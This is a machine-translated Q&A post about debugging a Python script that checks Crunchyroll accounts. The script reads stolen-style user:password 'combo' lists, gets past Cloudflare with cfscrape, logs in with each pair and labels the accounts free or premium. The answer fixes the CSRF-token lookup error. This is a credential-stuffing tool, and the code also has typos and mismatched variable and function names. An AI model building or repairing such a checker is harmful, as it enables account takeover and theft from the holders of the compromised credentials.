[英]How to solve: 'NoneType' object is not subscriptable
我正在創建一個驗證 crunchyroll 帳戶的腳本。 錯誤源於“我嘗試”使用 BeautifulSoup 提取 CSRF 令牌。
代碼:
def check ():
session = cfscrape.create_scraper()
login_page = sesseion.get(login)
login_soup = BeautifulSoup(login_page.text,'html5lib' )
csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']
session.post(login,
data={'login_form[name]': user,
'login_form[password]': passw,
'login_form[redirect_url]': '/',
'login_form[_token]': csrftok})
membership = session.get(acc_member)
member_soup = BeautifulSoup(membership.text, 'html5lib')
if member_soup.title.get_text().strip() == 'Crunchyroll - Account Management':
if member_soup.find(class_='acct-membership-status').contents[1].find('td').get_text().strip() == 'Free':
print('free:{}'.format(user+ ':' + passw))
else:
print('Premium:{}'.format(user + ':' + passw))
else:
print('not working:{}'.format(user + ':' + passw))
read_combos = open(file_combos, "r")
for linea in read_combos.readlines():
users, passwords = line.split(':')
check(users.strip(), passwords.strip())
read_combos.close()
如何解決以下錯誤?
File "checker2.py", line 15, in check
csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']
TypeError: 'NoneType' object is not subscriptable
像這樣的東西比 try/except 更好:
e = login_soup.find('input', {'name':'login_form[_token]'})
csrftok = e['value'] if e else 'Not Found'
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.